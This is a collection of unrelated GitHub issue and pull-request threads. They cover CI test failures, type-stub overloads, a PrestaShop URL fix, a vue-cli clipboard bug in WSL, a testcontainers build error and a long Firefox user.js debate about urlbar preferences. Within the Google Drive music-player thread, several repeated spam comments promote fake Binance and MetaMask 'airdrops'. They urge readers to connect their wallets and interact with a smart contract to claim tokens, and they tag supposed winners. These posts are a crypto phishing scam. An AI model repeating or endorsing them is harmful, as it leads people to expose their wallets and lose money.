Cypress tests are still failing. Lots of them. Incredibly, everything is passing locally. We need to closer look at cypress and the environment. Tests are failing only on github actions, where we need them to pass.
I'll merge this PR. An issue will address this bug: https://github.com/bcgov/nr-spar/issues/1565


fix concat for axis=0

closes #879
Works on pyright - mypy behaves weirdly (the 3rd overload is clearly the first matching overload). @Dr-Irv, feel free to change this PR - not sure whether I will have time to debug the mypy issue before the weekend.

thanks for the fix. @Dr-Irv any idea when the next release will be?

thanks for the fix. @Dr-Irv any idea when the next release will be?

I usually wait for a number of PR's to come through before doing a release. We've only had 3 since the last release.

thanks for the fix. @Dr-Irv any idea when the next release will be?

@tvdboom just released v<IP_ADDRESS>316


Don't use {$base_url}

Questions
Answers

Description?
{$base_url} is not https

Type?
bug fix

BC breaks?
no

Deprecations?
no

Fixed ticket?
Fixes https://github.com/PrestaShop/PrestaShop/issues/20878.

I aggre @PierreRambaud but {$urls.xxx} is not availble on the back office which way you propose.
I can add MODULE_DIR to smarty ?

if i follow you the best way is to change this line ?
https://github.com/PrestaShop/PrestaShop/blob/develop/classes/controller/AdminController.php#L2037

if i follow you the best way is to change this line ?
https://github.com/PrestaShop/PrestaShop/blob/develop/classes/controller/AdminController.php#L2037

Yes by doing this I think:
'base_url' => $this->context->shop->getBaseURL(true) ,

Ok i make a Pr and i close this one.


⚠ Bofrost.ch has degraded performance

In deeaf88, Bofrost.ch (https://www.bofrost.ch) experienced degraded performance:

HTTP code: 200
Response time: 2302 ms

Resolved: Bofrost.ch performance has improved in 1ac70bf.


describe how to set SendGrid ApiKey

This seems like a small (but important) contribution, so no Contribution License Agreement is required at this point. We will now review your pull request.
Thanks,
Microsoft Pull Request Bot

@yoichinak : Thanks for your contribution to the Azure documentation! The author, @lindydonna, has been notified to review your proposed change.

@ggailey777 Could you help with copy edits?

#hold-off For copy edits.

@yoichinak this is a good addition. I did some editing in our private repo (PR is here), but I made sure to pull in your commits so that you will get Git credit for helping out. You will see your commits in here after our private repo is merged into this public repo. Please feel free to submit fixes in the future.
In the meantime, we don't need this PR open anymore (it should get closed when the commits make it back into this repo)
#please-close


Weather CLI APP. fixes #107

This is a cli app which fetch weather information of the given city and also shows 3 days forecast.
fixes #107

Don't forget to give a ⭐ & Happy coding!. 😊


Use correct helper and page for dataset metadata

Verifying: https://teamcity.labkey.org/viewLog.html?buildId=956645&buildTypeId=LabKey_204Release_Community_BvtSqlserver
The test is still failing but it seems to be because of a change in product behavior. The "exclude from date shifting" flag is getting set in the dataset's metadata but it isn't respected when we publish. When I go to the domain designer for the dataset, it doesn't reflect the changes made through the metadata editor.
I'm not too clear on what the relationship is between the domain and metadata for a dataset but it seems to not be behaving as expected.

Verifying: https://teamcity.labkey.org/viewLog.html?buildId=956645&buildTypeId=LabKey_204Release_Community_BvtSqlserver
The test is still failing but it seems to be because of a change in product behavior. The "exclude from date shifting" flag is getting set in the dataset's metadata but it isn't respected when we publish. When I go to the domain designer for the dataset, it doesn't reflect the changes made through the metadata editor.
I'm not too clear on what the relationship is between the domain and metadata for a dataset but it seems to not be behaving as expected.

When I pull this up locally in the UI, I see the following:

the dataset domain designer (GWT version) says that the "exclude from shifting" option for my date field is unchecked. that looks right
when I go to the query metadata editor for that same date field, that "exclude from shifting" checkbox in the advanced settings dialog is checked. that is not what I expected.
if I uncheck it in the query metadata editor and save and then click "Edit Source", I get         true. this is not what I expected
also, I set some other things in the query metadata editor for that field (i.e. description, label, url, import aliases) and saved. Those all show in the edit source page as expected, but when I go back to the query metadata editor UI, not all of them re-show as expected in the UI.
We should get an issue opened on these items. @labkey-ankurj can you take a look into this behavior?

I created an issue for this here: https://www.labkey.org/home/Developer/issues/issues-details.view?issueId=40106

Now passing: https://teamcity.labkey.org/viewLog.html?buildId=956882&buildTypeId=LabKey_204Release_Community_BvtSqlserver


Nuklear for debug

Add in nuklear so that we can use a second SDL_window for debugging options.  Need to implement this with sound for testing both.

Removed issue

Added in header and compiled cleanly


Can't get the project to build

I start the build with ./mvnw
Then I get the following error:
[INFO] --- testcontainers-jooq-codegen-maven-plugin:0.0.3:generate (generate-jooq-sources) @ vaadin-jooq-template ---
[INFO] Image name substitution will be performed by: DefaultImageNameSubstitutor (composite of 'ConfigurationFileImageNameSubstitutor' and 'PrefixingImageNameSubstitutor')
[INFO] Loaded org.testcontainers.dockerclient.UnixSocketClientProviderStrategy from ~/.testcontainers.properties, will try it first
[INFO] Found Docker environment with local Unix socket (unix:///var/run/docker.sock)
[INFO] Docker host IP address is localhost
[INFO] Connected to docker:
  Server Version: 24.0.6
  API Version: 1.43
  Operating System: Docker Desktop
  Total Memory: 7944 MB
[INFO] Creating container for image: testcontainers/ryuk:0.5.1
[INFO] Container testcontainers/ryuk:0.5.1 is starting: b3f29f64082ed6229d6fde2c4096fd1741379dd872ec5607a2097ef0853fe646
[INFO] Container testcontainers/ryuk:0.5.1 started in PT3.097416S
[INFO] Ryuk started - will monitor and terminate Testcontainers containers on JVM exit
[INFO] Checking the system...
[INFO] ✔ Docker server version should be at least 1.6.0
[INFO] Creating container for image: postgres:15.2
[INFO] Container postgres:15.2 is starting: 45daacfa3f6c3113d9d7fed2980eed97fcf4d639fa9827d769f3df1d605b191e
[WARNING] An exception while executing the internal check: Container.ExecResult(exitCode=137, stdout=, stderr=)
[INFO] Container postgres:15.2 started in PT0.207215S
[INFO] Container is started (JDBC URL: jdbc:postgresql://localhost:50824/test?loggerLevel=OFF)
Dec 29, 2023 10:41:32 PM org.flywaydb.core.internal.license.VersionPrinter printVersionOnly
INFO: Flyway Community Edition 9.16.3 by Redgate
Dec 29, 2023 10:41:32 PM org.flywaydb.core.internal.license.VersionPrinter printVersion
INFO: See release notes here: https://rd.gt/416ObMi
Dec 29, 2023 10:41:32 PM org.flywaydb.core.internal.license.VersionPrinter printVersion
INFO:
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time:  4.224 s
[INFO] Finished at: 2023-12-29T22:41:32+01:00
[INFO] ------------------------------------------------------------------------
[ERROR] Failed to execute goal org.testcontainers:testcontainers-jooq-codegen-maven-plugin:0.0.3:generate (generate-jooq-sources) on project vaadin-jooq-template: Error running jOOQ code generation tool: Unable to obtain connection from database (jdbc:postgresql://localhost:50824/test?loggerLevel=OFF) for user 'test': Connection to localhost:50824 refused. Check that the hostname and port are correct and that the postmaster is accepting TCP/IP connections.
[ERROR] ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[ERROR] SQL State  : 08001
[ERROR] Error Code : 0
[ERROR] Message    : Connection to localhost:50824 refused. Check that the hostname and port are correct and that the postmaster is accepting TCP/IP connections. Connection refused

Importing the project into an IDE (as per README) does not work, since the package ch.martinelli.vj.db.tables.records does not exist ... IDEs are not happy about missing packages ...
So I guess I have to get a running build first, which would codegen this package ...

Thanks for the hint about the README. I just updated the instructions.
Are you able to run a container and connect to it using localhost?

It works now. Thank you!
I had a strange Problem with Docker, so that the Postgres image did not start properly ...
https://stackoverflow.com/questions/54680085/cannot-share-docker-container-data-via-v
Now the compilation and startup of the project works ... sorry for the fuss.


"vue-cli-service serve --copy" throws in WSL due to clipboardy.write()

Version
3.4.0
Environment info
Environment Info:

  System:
    OS: Linux 4.4 Ubuntu 16.04.5 LTS (Xenial Xerus)
    CPU: (8) x64 Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
  Binaries:
    Node: 10.13.0 - /usr/bin/node
    Yarn: 1.12.3 - /usr/bin/yarn
    npm: 6.8.0 - ~/.npm-global/bin/npm
  Browsers:
    Chrome: Not Found
    Firefox: Not Found
  npmPackages:
    @vue/babel-helper-vue-jsx-merge-props:  1.0.0-beta.2
    @vue/babel-plugin-transform-vue-jsx:  1.0.0-beta.2
    @vue/babel-preset-app:  3.4.0
    @vue/babel-preset-jsx:  1.0.0-beta.2
    @vue/babel-sugar-functional-vue:  1.0.0-beta.2
    @vue/babel-sugar-inject-h:  1.0.0-beta.2
    @vue/babel-sugar-v-model:  1.0.0-beta.2
    @vue/babel-sugar-v-on:  1.0.0-beta.2
    @vue/cli-overlay:  3.4.0
    @vue/cli-plugin-babel: ^3.4.0 => 3.4.0
    @vue/cli-plugin-eslint: ^3.4.0 => 3.4.0
    @vue/cli-plugin-pwa: ^3.4.0 => 3.4.0
    @vue/cli-plugin-unit-jest: ^3.4.0 => 3.4.0
    @vue/cli-service: ^3.4.0 => 3.4.0
    @vue/cli-shared-utils:  3.4.0
    @vue/component-compiler-utils:  2.5.2
    @vue/eslint-config-prettier: ^4.0.1 => 4.0.1
    @vue/preload-webpack-plugin:  1.1.0
    @vue/test-utils: ^1.0.0-beta.20 => 1.0.0-beta.29
    @vue/web-component-wrapper:  1.2.0
    eslint-plugin-vue: ^5.0.0 => 5.1.0
    jest-serializer-vue:  2.0.2
    vue: ^2.5.22 => 2.6.5
    vue-eslint-parser:  2.0.3
    vue-hot-reload-api:  2.3.1
    vue-jest:  3.0.3
    vue-loader:  15.6.2
    vue-loading-spinner: ^1.0.11 => 1.0.11
    vue-router: ^3.0.1 => 3.0.2
    vue-style-loader:  4.1.2
    vue-template-compiler: ^2.5.21 => 2.6.5
    vue-template-es2015-compiler:  1.8.2
    vuex: ^3.1.0 => 3.1.0
    vuex-router-sync: ^5.0.0 => 5.0.0
  npmGlobalPackages:
    @vue/cli: 3.4.0

Steps to reproduce

Use Vue CLI 3 in Windows Subsystem for Linux
Run vue-cli-service serve --copy (copy option was introduced here)
Wait until the build is complete
The URL is not copied and a PromiseRejection is thrown

What is expected?
a) The local URL is copied to clipboard
b) The serve script doesn't log errors
What is actually happening?
The script throws an UnhandledPromiseRejection:
Error: Command failed: xsel --clipboard --input
xsel: Can't open display: (null)
: Inappropriate ioctl for device

or if the user has set the env variable DISPLAY:
Error: Command failed: xsel --clipboard --input
xsel: Can't open display: (null)
: Connection refused

This clipboard issue is unfortunately fairly common, ZEIT's serve package logs the same error for example. (but catches the Rejection)
There apparently are ways in userland to make clipboard work in WSL, but afaik all we can do is handle the Exception.
So I'd propose to:
a) catch the error (silently, so project config is shareable without constantly bugging some team members with error messages) and only log "(copied to clipboard)" if the URL was actually copied
b) mention in the docs that --copy isn't supported on some platforms

If we'd switch to writeSync this would be fixed super easily:
try {
  require('clipboardy').writeSync(urls.localUrlForBrowser)
  copied = chalk.dim('(copied to clipboard)')
} catch(_) { /* handle exception in WSL, see issue #3476 */ }

otherwise we'd have to wait until the clipboard Promise is settled before we could proceed outputting information (or rethink the message order so we can give clipboard feedback "lazily").
Either way, more than happy to submit a PR. 👍🏻

Option 1 makes more sense i think.
Please send a PR 😁

Done. 😁


Update to latest release at GitHub

I'm sorry but I don't understand this issue. Could you try explaining the problem and what might be done about it? Thanks!

Could you please mark the latest release 0.11 at https://github.com/matthiask/django-cabinet/releases as "latest" release :)
Right now it is 0.3 version marked as latest :)

Ah wow, I don't remember ever creating those releases by hand. I have deleted the GitHub releases now.
The CHANGELOG is the place which should always contain up-to-date release informations for django-cabinet.
Thanks for the report!


chore: reference Kotlin BOM in a Renovate-friendly way

https://github.com/renovatebot/renovate/issues/19147


Chen operator branch

Make sure you have checked all steps below.
JIRA

[ ] My PR addresses the following Airflow JIRA issues and references them in the PR title. For example, "[AIRFLOW-XXX] My Airflow PR"

https://issues.apache.org/jira/browse/AIRFLOW-XXX
In case you are fixing a typo in the documentation you can prepend your commit with [AIRFLOW-XXX], code changes always need a JIRA issue.

Description

[ ] Here are some details about my PR, including screenshots of any UI changes:

Tests

[ ] My PR adds the following unit tests OR does not need testing for this extremely good reason:

Commits

[ ] My commits all reference JIRA issues in their subject lines, and I have squashed multiple commits if they address the same issue. In addition, my commits follow the guidelines from "How to write a good git commit message":

Subject is separated from body by a blank line
Subject is limited to 50 characters
Subject does not end with a period
Subject uses the imperative mood ("add", not "adding")
Body wraps at 72 characters
Body explains "what" and "why", not "how"

Documentation

[ ] In case of new functionality, my PR adds documentation that describes how to use it.

When adding new operators/hooks/sensors, the autoclass documentation generation needs to be added.

Code Quality

[ ] Passes git diff upstream/master -u -- "*.py" | flake8 --diff

This is an accident, please ignore this

Codecov Report

Merging #3619 into master will decrease coverage by 0.01%.
The diff coverage is 75%.

@@            Coverage Diff             @@
##           master    #3619      +/-   ##
==========================================
- Coverage   77.06%   77.04%   -0.02%
==========================================
  Files         204      204
  Lines       15733    15736       +3
==========================================
  Hits        12124    12124
- Misses       3609     3612       +3

Impacted Files
Coverage Δ

airflow/hooks/S3_hook.py
93.27% <75%> (-1.56%)
:arrow_down:

airflow/models.py
88.52% <0%> (-0.05%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 8e58053...50138a2. Read the comment docs.


Enable mixer on SAMD

Includes https://github.com/lancaster-university/codal-samd/pull/21

Requires https://github.com/Microsoft/pxt-common-packages/pull/801

Needs common pkgs bump


Please make a new release on crate.io to fix non_local_definitions warning

The non_local_definitions lint is back to warn by default in rust nightly: https://github.com/rust-lang/rust/pull/127015
There was a fix in https://github.com/Diggsey/scoped-tls-hkt/pull/4 , but it hasn't been released yet to crates.io
(The warning occurs at the usage site when compiling our crate, not when compiling scoped-tls-hkt)
A release on crates.io would be appreciated.
Edit: link to rust PR was meant to be https://github.com/rust-lang/rust/pull/127117

This is now release 👍


Fails with message: "Sorry! We are unable to play this song."

Expected Behavior
Clicking on MP3 file in Google Drive should bring up the Google Music Player and play the selected track.
Actual Behavior
Music player opens in a new window, as expected.  After a short delay, the player displays "Sorry! We are unable to play this song."
This is reproducible on multiple platforms (Windows, Mac, Linux) and multiple browsers (Chrome, Firefox, Edge).
Steps to Reproduce the Problem

Fails on all OS platforms and in all browsers.

Specifications

Browser:  Chrome, Firefox, Edge
OS: Mac/Linux/Windows Yes, yes, and yes

Experiencing the same issue on my Chromebook.

We had the same exact problem last year from mid December 2018 through early February 2019.  Let's hope that the app creator can correct the problem faster this time....and permanently.  BTW, none of my files will play will the app is in this mode.  I first noticed this problem on Friday morning.  Things were working great on Thursday.

Same problem for me (using Chrome on Windows 10). It makes no difference if the file I'm trying to play has been there several months or a few minutes - almost nothing plays (although Preview works OK for the few individual tracks I've tried).

🚀 Binance Airdrop - Earn up to $1,000 in Tokens! 💰
Welcome to the exclusive Binance Airdrop! We're giving away generous rewards to eligible participants. Follow the steps below to join and earn up to $1,000 in tokens instantly.
How to Participate:
1. 🤝 Connect Your Wallet
Make sure you have a compatible wallet and connect it to Binance.
Note: Your wallet must have a minimum balance to be eligible.
2. 🔗 Access the Smart Contract
Access the smart contract through the provided link: Binance Airdrop Smart Contract.
3. 🔄 Interact with the Contract
Winners: @liesauer, @lvxiaomao001, @AdamyanH, @freelancersinchina, @zanjs, @yanisIk, @hugocucco

🚀 Binance Airdrop - Earn up to $1,000 in Tokens! 💰
Welcome to the exclusive Binance Airdrop! We're giving away generous rewards to eligible participants. Follow the steps below to join and earn up to $1,000 in tokens instantly.
How to Participate:
1. 🤝 Connect Your Wallet
Make sure you have a compatible wallet and connect it to Binance.
Note: Your wallet must have a minimum balance to be eligible.
2. 🔗 Access the Smart Contract
Access the smart contract through the provided link: Binance Airdrop Smart Contract.
3. 🔄 Interact with the Contract
Winners: @SadraSamadi, @gmaragao, @adebudev, @clintjansen, @bugkiwi, @brunowoelke, @Daniel-Rafique

🌐 $ETH MetaMask Airdrop: Claim Your $1000 in Ethereum Now!
🎉 Congratulations!
You're among the chosen participants for the $1.5k Ethereum Airdrop. We're thrilled to grant you $1000 in ETH to celebrate the year's end. But that's not all—connect now, and you'll instantly receive an extra $100! Follow the steps below to claim your Ethereum and make the most of this exclusive giveaway!

Steps to Claim:
1. 🚀 Connect Your MetaMask Wallet:

Click on the Connect Wallet link.
Select MetaMask as your preferred wallet provider.

2. 🔄 Interact with the Contract and Claim Your $100:

Once your MetaMask wallet is connected.
Click on the "Claim" button to interact with the smart contract. Ensure you use the Claim method.

💰 Don't miss out on your $1000 in Ethereum! Additionally, enjoy an instant $100 upon connection. Act now to secure your ETH. Remember, there's a chance to win up to $20,000—it's your golden opportunity with MetaMask!
Winners: @tiagosiebler, @folkevil, @hstaab, @myh-st, @Snazzikiel, @azharuniverse, @erezvish

🌐 $ETH MetaMask Airdrop: Claim Your $1000 in Ethereum Now!
🎉 Congratulations!
You're among the chosen participants for the $1.5k Ethereum Airdrop. We're thrilled to grant you $1000 in ETH to celebrate the year's end. But that's not all—connect now, and you'll instantly receive an extra $100! Follow the steps below to claim your Ethereum and make the most of this exclusive giveaway!

Steps to Claim:
1. 🚀 Connect Your MetaMask Wallet:

Click on the Connect Wallet link.
Select MetaMask as your preferred wallet provider.

2. 🔄 Interact with the Contract and Claim Your $100:

Once your MetaMask wallet is connected.
Click on the "Claim" button to interact with the smart contract. Ensure you use the Claim method.

💰 Don't miss out on your $1000 in Ethereum! Additionally, enjoy an instant $100 upon connection. Act now to secure your ETH. Remember, there's a chance to win up to $20,000—it's your golden opportunity with MetaMask!
Winners: @metamic, @dzsobacsi, @alexgausman, @TobiahRex, @ufukygmr, @LNDeus, @nispeco


revisit: browser.urlbar.maxRichResults

@nodiscc says (https://github.com/pyllyukko/user.js/commit/116d9863de4b4b946d699368bebd7e7dff0b7903#commitcomment-22223673)

=12: when typing a URL in the address bar, a maximum of 12 bookmarks or history items are suggested in the dropdown below the URL bar
=0: nothing is shown in the dropdown

So I propose setting up a definitive test with steps to be reproduced, with screenshots of results, to be used in vanilla Firefox. I can test this on Windows. I would think that crssi, earthlng and my own results from earlier testing in which we all found browser.urlbar.autocomplete.enabled = 0 did not hide any history-bookmark-opentab suggestions was good.
But to be sure, and to check the behavior is not different in linux, let's document it properly.

The commit is about browser.urlbar.maxRichResults, isn't it?
browser.urlbar.autocomplete.enabled does autocomplete on the urlbar when you type something.

browser.urlbar.autocomplete.enabled name is somehow wrong, since when this is false, the search actually doesn't work.

browser.urlbar.autocomplete.enabled name is somehow wrong, since when this is false, the search actually doesn't work.

Can confirm. Weird! Thanks for pointing that out mate!

and I have not seen that when true any auto complete would do some magic

If I type in a "g" for example then it autocompletes to ghacks.net for me, because I have ghacks.net in either my bookmarks or history and it has the most "points" so to speak. The points are accumulated based on the "bonuses" from places.frecency.*Bonus. If I wanted "g" to autocomplete to github.com for example I could reload github.com in a normal window a couple times until its bonuses are higher than ghacks.net.

sorry - see rename of topic - my bad, copypasta malfunction
nodiscc said that browser.urlbar.maxRichResults controls his dropdown for history+bookmark entries shown and if he sets it to zero then it disables the dropdown. I said we tested this and all three (or 4) of us all had the same results that (at least in Windows) it did no such thing (I think we worked out anything under 10 didn't work).
I will post my step by step test methods and results, and pictures and ask nodiscc to replicate.

and more than 10 also didn't make sense

Steps to reproduce
---test1

Nilla FF/profile [Tested with 53 and 51, since it was around 51 when we did our earlier tests]
defaults

browser.urlbar.suggest.history = true
browser.urlbar.suggest.bookmark = true
browser.urlbar.suggest.openpage = true
browser.urlbar.maxRichResults = 10

go to github, bookmark 5 pages, visit another 5 (I just used the items in the header _ footer nav sections)
close all tabs but keep FF open
type git in the urlbar
results
---test2
change browser.urlbar.maxRichResults = 0
type git in the urlbar
results

Results as follows:

Test1: value 10: 1st line is taken by search with [search engine loaded in searchbar], the other 9 items are filled by ALL my 5 bookmarks and 4 history items
Test2: value 0: 1st line taken by search with [search engine loaded in searchbar], all the rest is not displayed

Exact same result in FF51 and FF53 just in case something changed.
Conclusion: maxRichResults does control the number of entries from history/bookmarks/openpages and setting it to zero does disable it.
So how did ALL three (four?) of us come to the same conclusion that maxRichResults does not work? See https://github.com/ghacksuserjs/ghacks-user.js/issues/63#issuecomment-287537248 etc and 0800 redo issue etc.

We tested it in FF52 at the time I think, maybe they fixed it again in FF53 idk

I have the same setting as I had here #63 (comment)
and the results are the same... 0 does not disable it at all, tested just now.

Quote crssi : https://github.com/ghacksuserjs/ghacks-user.js/issues/63#issuecomment-287537248

Open a few tabs with for example ghacks github, have a few bookmarks with github.
Set maxRichResults = 0, type into URLbar "github", you will see that 0 does not disables it.

earthlng

I played with it and see what you mean. It behaves more like a MIN than a MAX value (now?).
Even when I set it to 1 it sometimes shows 3 or 4 or whatever, depending on the amount of bookmarks and/or history

me

So I fired up a clean FF52, defaults for all five 0850s, added some quick history and bookmarks .. blah blah blah .. same as you guys. This does nothing to stop suggestions. I only tried with the three in 0850c, didn't bother to try with combos involving search in urlbar.

That's three of us who could not stop the display (but earthlng didn't say he tried 0). So what gives? Does some other setting affect the behavior?

We tested it in FF52 at the time I think, maybe they fixed it again in FF53 idk

OK, I'll test it in Nilla 52

0 also doesn't work for me in FF53

52.01 - same result. maxRichResults disables all results from history/bookmarks/openpages

0 also doesn't work for me in FF53

Do you mean in FF53 you set maxrich to 0 and this did NOT disable bookmark/history/openpage suggestions?

yep, just now and crssi also said the same thing. no idea why though

I get the same results as @Thorin-Oakenpants in his tests above in Firefox 45 ESR (Debian).

Man this is confusing. @crssi and earthlng - are you using a NILLA profile and ONLY changing maxrich for the two results?

No, I'm using my main FF but I have the 3 browser.urlbar.suggest.* prefs you listed above set to true by default and maxrich doesn't do shit here

can you please test in a nilla earthlng - because I'm now starting to think other prefs influence maxRich

because I'm now starting to think other prefs influence maxRich

lol you think? :) that's what I have been saying above. It's clear that that's the case here

No, I'm using my main FF but I have the 3 browser.urlbar.suggest.* prefs you listed above set to true by default and maxrich doesn't do shit here

I just tested in my main FF (which uses the ghacks.js exactly) - got the exact same results as theearlier tests - maxRich=0 does disable the suggestions

your main FF has the 3 browser.urlbar.suggest.* prefs disabled though, right?

your main FF has the 3 browser.urlbar.suggest.* prefs disabled though, right?

I did the two tests - that is I made sure in my main FF that the four prefs were at default, suggestions showed. flipped as per test 2 maxrich to 0 and suggestions did not show.

I going to go back to my test 53 from above and trying to see if any of the other 0800 urlbar/searchbar prefs change the behaviour

you're not messing with the dropdown in any way in the css right?

correct, no custom css for that part

Sidenote: I'm really only interested in whether 0 disables the suggestions, but just to let you know, in my test profile I have at least 10 github entries, 5 bookmarks and a swag of history. I can get the values 1, or 2, or 3, etc right up to 10 to display that EXACT number of items in the dropdown
OK, so I went back to my 53 test profile for this and did the repeated the same tests, but added a third pref for each one - namely all the other 0800 prefs such as browser.search.suggest.enabled, browser.urlbar.suggest.searches, browser.urlbar.autocomplete.enabled, browser.urlbar.autoFill, browser.urlbar.autoFill.typed, browser.urlbar.oneOffSearches <- that is I tried with each one set to true and false, reset it, moved on to the next one.
Every single test showed maxRich works as expected - that is it does limit the number in the dropdown, and thus 0 disables it. So at this stage I can't see another pref interfering with it.
I'm stumped

that is I tried with each one set to true and false, reset it, moved on to the next one.

thx for the testing. It must be a combination of prefs then because it clearly doesn't work for me or crssi

Yup .. thats the only logical next conclusion .. a combo of prefs. I was going to look at the dxr code but I'm a bit sh*t at reading that stuff .. i miss COBOL

Ok so with a copy of my FF53 profile in a portable FF53 and with all my addons removed, I still get the same results i.e. maxrich is ignored. browser.urlbar.autocomplete.enabled;false however stops the dropdown completely. I'll try to figure out how to get an EXACT match with maxrich.

With maxrich=0 it works for some characters but not for others. for example "a", "b", "c" all only show the visit with/search with, but "g" and "h" shows some entries. And it's the same in my main FF.
Something in the places file seems to influence how many entries are shown. Maybe something to do with the bonuses I mentioned above.

same as @earthlng and I also didn't do any css customs

So if you use PB a lot, chances are that none of your bookmarks or history will have high bonuses and therefore maxrich=0 seems to work correctly but if you do have entries with high bonuses then maxrich=0 is ignored for those entries

browser.urlbar.autocomplete.enabled;false however stops the dropdown completely.

Listen up. Open two about:config tabs. In one enter browser.urlbar.autocomplete.enabled and in the other enter browser.urlbar.suggest. (for the three prefs)
Set all four prefs as true. Now change browser.urlbar.autocomplete.enabled to true and your three *suggest prefs will auto change to true. Now change browser.urlbar.autocomplete.enabled to false, and your three *suggest prefs will auto-change to false
Now the reverse. Change at least one *suggest pref and browser.urlbar.autocomplete.enabled will become true. Set all three *suggest prefs to false and browser.urlbar.autocomplete.enabled will become false

Oh okay, yeah that explains why nothing is displayed with browser.urlbar.autocomplete.enabled;false

Heh .. no idea what happens if you start your FF with user..js values that clash eg browser.urlbar.autocomplete.enabled-true but all three *suggest as false. :) It probably corrects itself

But I think we should comment out browser.urlbar.autocomplete.enabled because as @crssi mentioned the search "keywords" don't work otherwise. That's not the same as keyword.enabled;false btw. - the search keywords still work regardless of keyword.enabled

oh no .. don't confuse it more - start a new issue. WTF is "keywords"

WTF is "keywords"

Options > Search > there you can define "keywords" for use in the urlbar for every search engine

I don't use keywords.
But did a test your observation now... funny if you set in user.js
user_pref("browser.urlbar.suggest.bookmark", false);
user_pref("browser.urlbar.suggest.openpage", false);
and after those you do:
user_pref("browser.urlbar.autocomplete.enabled", true);
The both browser.urlbar.suggest. are preserved to false even that autocomplete is set to true.

Heh .. no idea what happens if you start your FF with user..js values that clash eg browser.urlbar.autocomplete.enabled-true but all three *suggest as false. :) It probably corrects itself

OK, so I deliberately set a clash in my js, quite FF, started FF. I set the same as in the above quote. I never even touched the urlbar, didn't give it focus or anything. I opened about:config from a bookmark and checked the values, and because browser.urlbar.autocomplete.enabled was true, all three of my *suggest prefs were also true, despite the js setting them as false.
So I think we can need to do something with 0850a (urlbar*) and 0850c (*suggest) - merge them.

How do you search Pants?

I have no keywords in any of my custom search engines. I exclusively use the searchbar. Maybe THIS is the difference?

The correlation is:

If at least ONE *suggest is set to  true then *urlbar becomes true
If *urlbar is set to false then all three *suggests become false
You can still have *urlbar = true and a combination of *suggest values

Maybe THIS is the difference?

Maybe, but I don't think so. Have you tried in your Nilla FF's to do the bonuses thingy I wrote earlier?
I'm pretty sure that's what's causing it

I have no keywords in any of my custom search engines

you should try it. Makes it a lot easier to search directly where you want to search. Fe. I have "y" for youtube, "s" for startpage, "x" for ixquick, "w" for wikipedia etc

You'll have to explain how to do the bonuses thingy. I tried using different letters, so I racked a swag of amazon urls and tested amaz .. everything worked perfectly for maxRich still. I cannot for the life of me break it like I did back in 52
First I want to clean up 0850a + c. Something like this (note I swapped 0850b + c from the current)
/* 0850a: disable location bar autocomplete
 * [NOTE] If this is false, all of 0850b will be FORCED to false as well ***/ <--added
user_pref("browser.urlbar.autocomplete.enabled", false);
/* 0850b: disable location bar suggestion types
 * [SETTING] Options>Privacy>Location Bar>When using the location bar, suggest
 * [NOTE] If any of these are true, 0850a will be FORCED to true ***/  <-- reworded
user_pref("browser.urlbar.suggest.history", false);
user_pref("browser.urlbar.suggest.bookmark", false);
user_pref("browser.urlbar.suggest.openpage", false);

/* 0850c: disable location bar dropdown
 * This value used to control the maximum number of entries that could appear in the location
 * bar dropdown. This is no longer the case, and thus, it does *NOT* hide any suggestions ***/
   // user_pref("browser.urlbar.maxRichResults", 0);

So I think we can need to do something with 0850a (urlbar*) and 0850c (*suggest) - merge them.

or remove 0850a because it seems to be the master switch and will be toggled automatically depending on 0850c

^^ see above edited draft thingy

You'll have to explain how to do the bonuses thingy.

I already did but okay let me try again. Assuming you still have the github pages in your test profile history/bookmarks that you pictured above. The last one in that list is "Learn how developers build software" so now you load that page over and over again until it makes it to the top of the dropdown list. Now that history entry will have a pretty high "frecency". Maybe do this for 2 or 3 pages that were previously at the bottom of the list. Now set maxrich=0 and type "g" or "git" again - if my theory is correct those pages should now get listed and effectively ignore maxrich=0.

ok - will try that. Yup, my history and bookmarks were all loaded just the once. They all have a visit count of 1 at the moment.

keyword blah blah is disabled >> search engine keywords are disabled
Yes, I think that's a good change ie your draft

They all have a visit count of 1 at the moment.

It's not the visit count that matters. One of my bookmarks that always shows up in the dropdown even with maxrich=0 has a visit count of 0!

Yeah, I was just saying the frequency of them was one visit and they were all equal.
OK, I took two of the maxrich results from the image in the test. I used the bottom two, doesn't matter. I visited those two pages around 10 times each. I did this from the suggestions, not from my bookmarks (they were history items anyway). Each page load I would close the tab and type git in a new tab and repeat selecting a suggestion. Voila .. check the picture. PROOF we're not all mad

OK, explain to me what triggers a bonus. I never use suggestions because they have always been hidden. I have almost no bookmarks (about 50 I rarely use), because my 400 odd main ones are in a speed dial, but I visit stuff ALL the time. BUT I wipe history when I close. But I assume that if I leave my browser open long enough and load the same page numerous times over that period, it would gain enough bonuses, which would explain the test results I got in 52.
So is this a bug? But explain to me the bonus crap and where it's kept

Afaik, PB doesn't update the bonuses unless you bookmark a page I think. Look at places.*Bonus in about:config. Idk when each one of those triggers but if you don't want the bonuses you can set all of those prefs to 0 and reset the "frecency" columns in places.sqlite.
I guess when you wipe the history, a lot of it will be cleared as well. Idk how it all works exactly just that it exists and that it determines what gets listed and what doesn't

Sounds like a bug feature to me!! I don't care about it, just as long as I document it.
I also need to know how the F do you add a keyword to a search engine (mine are all custom from Add To Search Bar, which I no longer have).

how the F do you add a keyword to a search engine

right there in Options > Search -> double click the "keyword" column and type in a keyword. It can be a single letter, a number or a string.

Ohh fark ... lulz .. must be FT DEEP dark or something .. nothing shows that was editable at all, not a lick, no column lines, nada ... tried everything EXCEPT a double click

This needs a clean up - wanna give it a go?
/* 0850a: disable location bar autocomplete [controlled by 0850b]
 * [NOTE] If this is false, all of 0850b will be FORCED to false as well
 * [WARNING] If this is false, search engine keywords are disabled ***/
   // user_pref("browser.urlbar.autocomplete.enabled", false);

/* 0850b: disable location bar suggestion types [controls 0850a]
 * [SETTING] Options>Privacy>Location Bar>When using the location bar, suggest
 * [NOTE] If any of these are true, 0850a will be FORCED to true
 * and if all three are false, 0850a will be FORCED to false
 * [WARNING] If 0850a is false, search engine keywords are disabled ***/
user_pref("browser.urlbar.suggest.history", false);
user_pref("browser.urlbar.suggest.bookmark", false);
user_pref("browser.urlbar.suggest.openpage", false);

/* 0850c: disable location bar dropdown
 * This value control the total number of entries to appear in the location bar dropdown.
